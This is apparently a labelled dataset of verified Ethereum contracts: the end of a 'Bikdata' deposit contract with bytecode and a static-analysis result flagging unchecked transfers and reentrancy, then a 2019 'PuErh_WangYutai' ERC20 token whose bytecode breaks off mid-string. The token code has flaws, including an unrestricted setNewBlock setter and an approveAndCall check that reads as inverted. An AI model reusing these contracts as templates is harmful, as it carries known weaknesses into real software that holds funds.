require(IERC20(tokenViewById[_tokeId]).balanceOf(address(this)) >= amount, "Bikdata: insufficient amount");
IERC20(tokenViewById[_tokeId]).transfer(user, amount);
emit Failsafe(user,amount,tokenViewById[_tokeId],block.timestamp);
return true;
}
function checkBalance()public view returns(uint){
return address(this).balance;
}
/**
* @dev contractLock: For contract status
*/
function contractLock(bool _lockStatus) public onlyOwner returns(bool) {
lockStatus = _lockStatus;
return true;
}
}
|
0x608060405234801561001057600080fd5b50600436106101215760003560e01c8063954f5d8b116100ad578063daca6f7811610071578063daca6f7814610239578063e2bbb1581461024c578063f2fde38b1461025f578063f832d35c14610272578063f9a7ea371461028557610121565b8063954f5d8b146101d75780639ead7222146101ea578063a478656b146101fd578063a87430ba14610210578063c71daccb1461023157610121565b80636c19e783116100f45780636c19e78314610181578063715018a614610194578063727eed001461019c57806387b0b39b146101af5780638da5cb5b146101cf57610121565b80631088116614610126578063238ac9331461013b5780632748399d146101595780633e89340f14610179575b600080fd5b610139610134366004610f2c565b610298565b005b6101436103c8565b6040516101509190611193565b60405180910390f35b61016c6101673660046110e0565b6103d7565b6040516101509190611205565b61016c610601565b61013961018f366004610e39565b61060a565b610139610695565b61016c6101aa366004610e39565b61071e565b6101c26101bd366004610ef8565b610733565b6040516101509190611210565b610143610769565b6101396101e5366004610e5c565b610778565b6101436101f8366004611017565b61099d565b61016c61020b366004610fdf565b6109c7565b61022361021e366004610e39565b610a1f565b6040516101509291906114ca565b6101c2610a41565b61014361024736600461102f565b610a45565b61013961025a366004611117565b610a65565b61013961026d366004610e39565b610be7565b610143610280366004611017565b610ca7565b61016c610293366004611017565b610cc2565b6102a0610cd7565b6001600160a01b03166102b1610769565b6001600160a01b0316146102e05760405162461bcd60e51b81526004016102d7906113fe565b60405180910390fd5b60005b81518110156103c457600282828151811061030e57634e487b7160e01b600052603260045260246000fd5b60209081029190910181015182546001810184556000938452919092200180546001600160a01b0319166001600160a01b03909216919091179055815182908290811061036b57634e487b7160e01b600052603260045260246000fd5b602002602001015160076000836001610384919061152a565b8152602081019190915260400160002080546001600160a01b0319166001600160a01b0392909216919091179055806103bc81611542565b9150506102e3565b5050565b6001546001600160a01b031681565b60006103e1610cd7565b6001600160a01b03166103f2610769565b6001600160a01b0316146104185760405162461bcd60e51b81526004016102d7906113fe565b6001600160a01b0383161580159061044657506000848152600760205260409020546001600160a01b031615155b6104625760405162461bcd60e51b81526004016102d79061146a565b600084815260076020526040908190205490516370a0823160e01b815283916001600160a01b0316906370a082319061049f903090600401611193565b60206040518083038186803b1580156104b757600080fd5b505afa1580156104cb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104ef91906110c8565b101561050d5760405162461bcd60e51b81526004016102d790611433565b6000848152600760205260409081902054905163a9059cbb60e01b81526001600160a01b039091169063a9059cbb9061054c90869086906004016111a7565b602060405180830381600087803b15801561056657600080fd5b505af115801561057a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061059e9190610ffb565b50600084815260076020526040908190205490516001600160a01b03808616927f5138be4ac7b75ac3d2735244eca48fab211947efde9531c5d7d82f90c66bc674926105ef928792169042906114e1565b60405180910390a25060019392505050565b60035460ff1681565b610612610cd7565b6001600160a01b0316610623610769565b6001600160a01b0316146106495760405162461bcd60e51b81526004016102d7906113fe565b600180546001600160a01b0319166001600160a01b03831690811790915560405133907f3271c8694494a7cc76cd185c743e9ee6b515a043ea98c0db7f5ca112f694add490600090a350565b61069d610cd7565b6001600160a01b03166106ae610769565b6001600160a01b0316146106d45760405162461bcd60e51b81526004016102d7906113fe565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60056020526000908152604090205460ff1681565b600083838360405160200161074a93929190611138565b6040516020818303038152906040528051906020012090509392505050565b6000546001600160a01b031690565b60035460ff161561079b5760405162461bcd60e51b81526004016102d790611493565b6000858152600760205260409020546001600160a01b0316158015906107c15750600084115b6107dd5760405162461bcd60e51b81526004016102d790611392565b60006107ea878684610733565b60008181526004602052604090205490915060ff161561081c5760405162461bcd60e51b81526004016102d790611319565b600061085e8286868080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250610a4592505050565b6001549091506001600160a01b0380831691161461088e5760405162461bcd60e51b81526004016102d7906112eb565b6000878152600760205260409081902054905163a9059cbb60e01b81526001600160a01b039091169063a9059cbb906108cd908b908a906004016111a7565b602060405180830381600087803b1580156108e757600080fd5b505af11580156108fb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061091f9190610ffb565b506000828152600460209081526040808320805460ff191660011790558983526007909152908190205490516001600160a01b03808b16927f865ca08d59f5cb456e85cd2f7ef63664ea4f73327414e9d8152c4158b0e946459261098b9291909116908a9042906111e4565b60405180910390a25050505050505050565b600281815481106109ad57600080fd5b6000918252602090912001546001600160a01b0316905081565b60006109d1610cd7565b6001600160a01b03166109e2610769565b6001600160a01b031614610a085760405162461bcd60e51b81526004016102d7906113fe565b506003805460ff1916911515919091179055600190565b600660205260009081526040902080546001909101546001600160a01b031682565b4790565b600080610a5184610cdb565b9050610a5d8184610d0b565b949350505050565b60035460ff1615610a885760405162461bcd60e51b81526004016102d790611493565b6000828152600760205260409020546001600160a01b031615801590610aae5750600081115b610aca5760405162461bcd60e51b81526004016102d790611392565b600082815260076020526040908190205490516323b872dd60e01b81526001600160a01b03909116906323b872dd90610b0b903390309086906004016111c0565b602060405180830381600087803b158015610b2557600080fd5b505af1158015610b39573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b5d9190610ffb565b506000828152600760208181526040808420805433808752600685528387206001810180546001600160a01b0319166001600160a01b039485161790558890559588905293909252905490517fd2f8022f659fd9c8c558f30c00fd5ee7038f7cb56da45095c3e0e7d48b3e0c4b92610bdb92869291169042906114e1565b60405180910390a25050565b610bef610cd7565b6001600160a01b0316610c00610769565b6001600160a01b031614610c265760405162461bcd60e51b81526004016102d7906113fe565b6001600160a01b038116610c4c5760405162461bcd60e51b81526004016102d7906112a5565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6007602052600090815260409020546001600160a01b031681565b60046020526000908152604090205460ff1681565b3390565b600081604051602001610cee9190611162565b604051602081830303815290604052805190602001209050919050565b60008151604114610d2e5760405162461bcd60e51b81526004016102d79061126e565b60208201516040830151606084015160001a7f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a0821115610d805760405162461bcd60e51b81526004016102d790611350565b8060ff16601b14158015610d9857508060ff16601c14155b15610db55760405162461bcd60e51b81526004016102d7906113bc565b600060018783868660405160008152602001604052604051610dda9493929190611219565b6020604051602081039080840390855afa158015610dfc573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116610e2f5760405162461bcd60e51b81526004016102d790611237565b9695505050505050565b600060208284031215610e4a578081fd5b8135610e5581611589565b9392505050565b60008060008060008060a08789031215610e74578182fd5b8635610e7f81611589565b95506020870135945060408701359350606087013567ffffffffffffffff80821115610ea9578384fd5b818901915089601f830112610ebc578384fd5b813581811115610eca578485fd5b8a6020828501011115610edb578485fd5b602083019550809450505050608087013590509295509295509295565b600080600060608486031215610f0c578283fd5b8335610f1781611589565b95602085013595506040909401359392505050565b60006020808385031215610f3e578182fd5b823567ffffffffffffffff80821115610f55578384fd5b818501915085601f830112610f68578384fd5b813581811115610f7a57610f7a611573565b8381029150610f8a848301611500565b8181528481019084860184860187018a1015610fa4578788fd5b8795505b83861015610fd25780359450610fbd85611589565b84835260019590950194918601918601610fa8565b5098975050505050505050565b600060208284031215610ff0578081fd5b8135610e55816115a1565b60006020828403121561100c578081fd5b8151610e55816115a1565b600060208284031215611028578081fd5b5035919050565b60008060408385031215611041578182fd5b8235915060208084013567ffffffffffffffff80821115611060578384fd5b818601915086601f830112611073578384fd5b81358181111561108557611085611573565b611097601f8201601f19168501611500565b915080825287848285010111156110ac578485fd5b8084840185840137810190920192909252919491935090915050565b6000602082840312156110d9578081fd5b5051919050565b6000806000606084860312156110f4578283fd5b83359250602084013561110681611589565b929592945050506040919091013590565b60008060408385031215611129578182fd5b50508035926020909101359150565b60609390931b6bffffffffffffffffffffffff191683526014830191909152603482015260540190565b7f19457468657265756d205369676e6564204d6573736167653a0a3332000000008152601c810191909152603c0190565b6001600160a01b0391909116815260200190565b6001600160a01b03929092168252602082015260400190565b6001600160a01b039384168152919092166020820152604081019190915260600190565b6001600160a01b039390931683526020830191909152604082015260600190565b901515815260200190565b90815260200190565b93845260ff9290921660208401526040830152606082015260800190565b60208082526018908201527f45434453413a20696e76616c6964207369676e61747572650000000000000000604082015260600190565b6020808252601f908201527f45434453413a20696e76616c6964207369676e6174757265206c656e67746800604082015260600190565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201526564647265737360d01b606082015260800190565b6020808252601490820152730818db185a5b4e881d5b985d5d1a1bdc9a5e995960621b604082015260600190565b6020808252601a908201527f636c61696d3a207369676e6174757265206475706c6963617465000000000000604082015260600190565b60208082526022908201527f45434453413a20696e76616c6964207369676e6174757265202773272076616c604082015261756560f01b606082015260800190565b60208082526010908201526f496e636f727265637420706172616d7360801b604082015260600190565b60208082526022908201527f45434453413a20696e76616c6964207369676e6174757265202776272076616c604082015261756560f01b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252601c908201527f42696b646174613a20696e73756666696369656e7420616d6f756e7400000000604082015260600190565b6020808252600f908201526e496e76616c6964204164647265737360881b604082015260600190565b60208082526018908201527f42696b646174613a20436f6e7472616374204c6f636b65640000000000000000604082015260600190565b9182526001600160a01b0316602082015260400190565b9283526001600160a01b03919091166020830152604082015260600190565b60405181810167ffffffffffffffff8111828210171561152257611522611573565b604052919050565b6000821982111561153d5761153d61155d565b500190565b60006000198214156115565761155661155d565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461159e57600080fd5b50565b801515811461159e57600080fdfea26469706673582212204faa22bad9032ae558d8f2e576afb312593cab87e5fe844921072f7d9b6539da64736f6c63430008000033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 4,089 |
0x44309c6404544669fe0ac39268a137d06c57edfe
|
/**
*Submitted for verification at Etherscan.io on 2019-07-10
*/
pragma solidity ^0.4.25;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public
{
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Token {
/// @return total amount of tokens
function totalSupply() constant returns (uint256 supply) {}
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) constant returns (uint256 balance) {}
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) returns (bool success) {}
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
/// @notice `msg.sender` approves `_addr` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of wei to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) returns (bool success) {}
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event setNewBlockEvent(string SecretKey_Pre, string Name_New, string TxHash_Pre, string DigestCode_New, string Image_New, string Note_New);
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
//Default assumes totalSupply can't be over max (2^256 - 1).
//If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap.
//Replace the if with this one instead.
//if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
emit Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
//same as above. Replace this line with the following if you want to protect against wrapping uints.
//if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
emit Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
using SafeMath for uint256;
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(
address _to,
uint256 _amount
)
public
hasMintPermission
canMint
returns (bool)
{
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() public onlyOwner canMint returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is StandardToken {
using SafeMath for uint256;
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(burner, _value);
}
}
contract PuErh_WangYutai is MintableToken, BurnableToken {
constructor() public {
totalSupply = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
}
/* Public variables of the token */
/*
NOTE:
The following variables are OPTIONAL vanities. One does not have to include them.
They allow one to customise the token contract & in no way influences the core functionality.
Some wallets/interfaces might not even bother to look at this information.
*/
string public name = "PuErh_WangYutai";
string public symbol = "PEW";
uint public constant decimals = 0;
uint256 public constant INITIAL_SUPPLY = 100 * (10 ** uint256(decimals));
string public Image_root = "https://swarm.chainbacon.com/bzz:/fb4b7aec715c42e0badfd02fb554d10c3980556a8fa9ef84886b4cb45c28e7e8/";
string public Note_root = "https://swarm.chainbacon.com/bzz:/264533dbed6c02150cbe5d6f7774661e0e64ce15b6a74794bd27beb7e87288e0/";
string public DigestCode_root = "5c9f882b062d1130eb9f4be5ab702e210522f7d84d051e5fe5b2a715d7916fd5";
function getIssuer() public pure returns(string) { return "Mr Long"; }
function getSource() public pure returns(string) { return "private collection"; }
string public TxHash_root = "genesis";
string public ContractSource = "";
string public CodeVersion = "v0.1";
string public SecretKey_Pre = "";
string public Name_New = "";
string public TxHash_Pre = "";
string public DigestCode_New = "";
string public Image_New = "";
string public Note_New = "";
function getName() public view returns(string) { return name; }
function getDigestCodeRoot() public view returns(string) { return DigestCode_root; }
function getTxHashRoot() public view returns(string) { return TxHash_root; }
function getImageRoot() public view returns(string) { return Image_root; }
function getNoteRoot() public view returns(string) { return Note_root; }
function getCodeVersion() public view returns(string) { return CodeVersion; }
function getContractSource() public view returns(string) { return ContractSource; }
//uint256 public totalSupply = INITIAL_SUPPLY ;
function getSecretKeyPre() public view returns(string) { return SecretKey_Pre; }
function getNameNew() public view returns(string) { return Name_New; }
function getTxHashPre() public view returns(string) { return TxHash_Pre; }
function getDigestCodeNew() public view returns(string) { return DigestCode_New; }
function getImageNew() public view returns(string) { return Image_New; }
function getNoteNew() public view returns(string) { return Note_New; }
function setNewBlock(string _SecretKey_Pre, string _Name_New, string _TxHash_Pre, string _DigestCode_New, string _Image_New, string _Note_New ) returns (bool success) {
SecretKey_Pre = _SecretKey_Pre;
Name_New = _Name_New;
TxHash_Pre = _TxHash_Pre;
DigestCode_New = _DigestCode_New;
Image_New = _Image_New;
Note_New = _Note_New;
emit setNewBlockEvent(SecretKey_Pre, Name_New, TxHash_Pre, DigestCode_New, Image_New, Note_New);
return true;
}
/* Approves and then calls the receiving contract */
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
//call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this.
//receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData)
//it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead.
require(!_spender.call(bytes4(bytes32(keccak256("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData));
return true;
}
}
|
0x608060405260043610610225576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b1461022a57806306fdde0314610259578063095ea7b3146102e957806317d7de7c1461034e57806318160ddd146103de57806319c59768146104095780631e1fc057146104995780632272f1a31461052957806323b872dd146105b95780632f34ad851461063e5780632f58b235146106ce5780632ff2e9dc1461075e578063313ce56714610789578063340a5f2d146107b457806338e135061461084457806339f68111146108d457806340c10f191461096457806342966c68146109c957806352556421146109f6578063529d2cea14610a8657806358dfd4e514610b1657806359e0568514610ba65780636dae214714610c3657806370a0823114610cc65780637584f24b14610d1d5780637d64bcb414610dad5780638a43c8e614610ddc5780638da5cb5b14610fbb5780638f1a9d791461101257806395d89b41146110a25780639a677c6914611132578063a029b096146111c2578063a9059cbb14611252578063ad396260146112b7578063afa293d414611347578063ba270c71146113d7578063c59e176714611467578063cae9ca51146114f7578063ceb62914146115a2578063d74d880814611632578063dd62ed3e146116c2578063e03535be14611739578063f0fbaea6146117c9578063f144820e14611859578063f2fde38b146118e9575b600080fd5b34801561023657600080fd5b5061023f61192c565b604051808215151515815260200191505060405180910390f35b34801561026557600080fd5b5061026e61193f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102ae578082015181840152602081019050610293565b50505050905090810190601f1680156102db5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102f557600080fd5b50610334600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506119dd565b604051808215151515815260200191505060405180910390f35b34801561035a57600080fd5b50610363611acf565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103a3578082015181840152602081019050610388565b50505050905090810190601f1680156103d05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103ea57600080fd5b506103f3611b71565b6040518082815260200191505060405180910390f35b34801561041557600080fd5b5061041e611b77565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561045e578082015181840152602081019050610443565b50505050905090810190601f16801561048b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156104a557600080fd5b506104ae611c19565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104ee5780820151818401526020810190506104d3565b50505050905090810190601f16801561051b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561053557600080fd5b5061053e611cb7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561057e578082015181840152602081019050610563565b50505050905090810190601f1680156105ab5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156105c557600080fd5b50610624600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611d59565b604051808215151515815260200191505060405180910390f35b34801561064a57600080fd5b50610653611fd2565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610693578082015181840152602081019050610678565b50505050905090810190601f1680156106c05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156106da57600080fd5b506106e3612074565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610723578082015181840152602081019050610708565b50505050905090810190601f1680156107505780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561076a57600080fd5b50610773612116565b6040518082815260200191505060405180910390f35b34801561079557600080fd5b5061079e612121565b6040518082815260200191505060405180910390f35b3480156107c057600080fd5b506107c9612126565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156108095780820151818401526020810190506107ee565b50505050905090810190601f1680156108365780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561085057600080fd5b506108596121c8565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561089957808201518184015260208101905061087e565b50505050905090810190601f1680156108c65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156108e057600080fd5b506108e9612266565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561092957808201518184015260208101905061090e565b50505050905090810190601f1680156109565780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561097057600080fd5b506109af600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612304565b604051808215151515815260200191505060405180910390f35b3480156109d557600080fd5b506109f4600480360381019080803590602001909291905050506124ea565b005b348015610a0257600080fd5b50610a0b61264a565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610a4b578082015181840152602081019050610a30565b50505050905090810190601f168015610a785780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610a9257600080fd5b50610a9b612687565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610adb578082015181840152602081019050610ac0565b50505050905090810190601f168015610b085780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610b2257600080fd5b50610b2b612729565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610b6b578082015181840152602081019050610b50565b50505050905090810190601f168015610b985780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610bb257600080fd5b50610bbb6127c7565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610bfb578082015181840152602081019050610be0565b50505050905090810190601f168015610c285780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610c4257600080fd5b50610c4b612865565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610c8b578082015181840152602081019050610c70565b50505050905090810190601f168015610cb85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610cd257600080fd5b50610d07600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612907565b6040518082815260200191505060405180910390f35b348015610d2957600080fd5b50610d3261294f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610d72578082015181840152602081019050610d57565b50505050905090810190601f168015610d9f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610db957600080fd5b50610dc26129f1565b604051808215151515815260200191505060405180910390f35b348015610de857600080fd5b50610fa1600480360381019080803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050612ab9565b604051808215151515815260200191505060405180910390f35b348015610fc757600080fd5b50610fd0612ec4565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561101e57600080fd5b50611027612eea565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561106757808201518184015260208101905061104c565b50505050905090810190601f1680156110945780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156110ae57600080fd5b506110b7612f88565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156110f75780820151818401526020810190506110dc565b50505050905090810190601f1680156111245780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561113e57600080fd5b50611147613026565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561118757808201518184015260208101905061116c565b50505050905090810190601f1680156111b45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156111ce57600080fd5b506111d76130c8565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156112175780820151818401526020810190506111fc565b50505050905090810190601f1680156112445780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561125e57600080fd5b5061129d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061316a565b604051808215151515815260200191505060405180910390f35b3480156112c357600080fd5b506112cc6132d0565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561130c5780820151818401526020810190506112f1565b50505050905090810190601f1680156113395780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561135357600080fd5b5061135c61336e565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561139c578082015181840152602081019050611381565b50505050905090810190601f1680156113c95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156113e357600080fd5b506113ec6133ab565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561142c578082015181840152602081019050611411565b50505050905090810190601f1680156114595780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561147357600080fd5b5061147c61344d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156114bc5780820151818401526020810190506114a1565b50505050905090810190601f1680156114e95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561150357600080fd5b50611588600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192905050506134eb565b604051808215151515815260200191505060405180910390f35b3480156115ae57600080fd5b506115b7613789565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156115f75780820151818401526020810190506115dc565b50505050905090810190601f1680156116245780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561163e57600080fd5b5061164761382b565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561168757808201518184015260208101905061166c565b50505050905090810190601f1680156116b45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156116ce57600080fd5b50611723600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506138c9565b6040518082815260200191505060405180910390f35b34801561174557600080fd5b5061174e613950565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561178e578082015181840152602081019050611773565b50505050905090810190601f1680156117bb5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156117d557600080fd5b506117de6139ee565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561181e578082015181840152602081019050611803565b50505050905090810190601f16801561184b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561186557600080fd5b5061186e613a8c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156118ae578082015181840152602081019050611893565b50505050905090810190601f1680156118db5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156118f557600080fd5b5061192a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613b2a565b005b600360149054906101000a900460ff1681565b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156119d55780601f106119aa576101008083540402835291602001916119d5565b820191906000526020600020905b8154815290600101906020018083116119b857829003601f168201915b505050505081565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167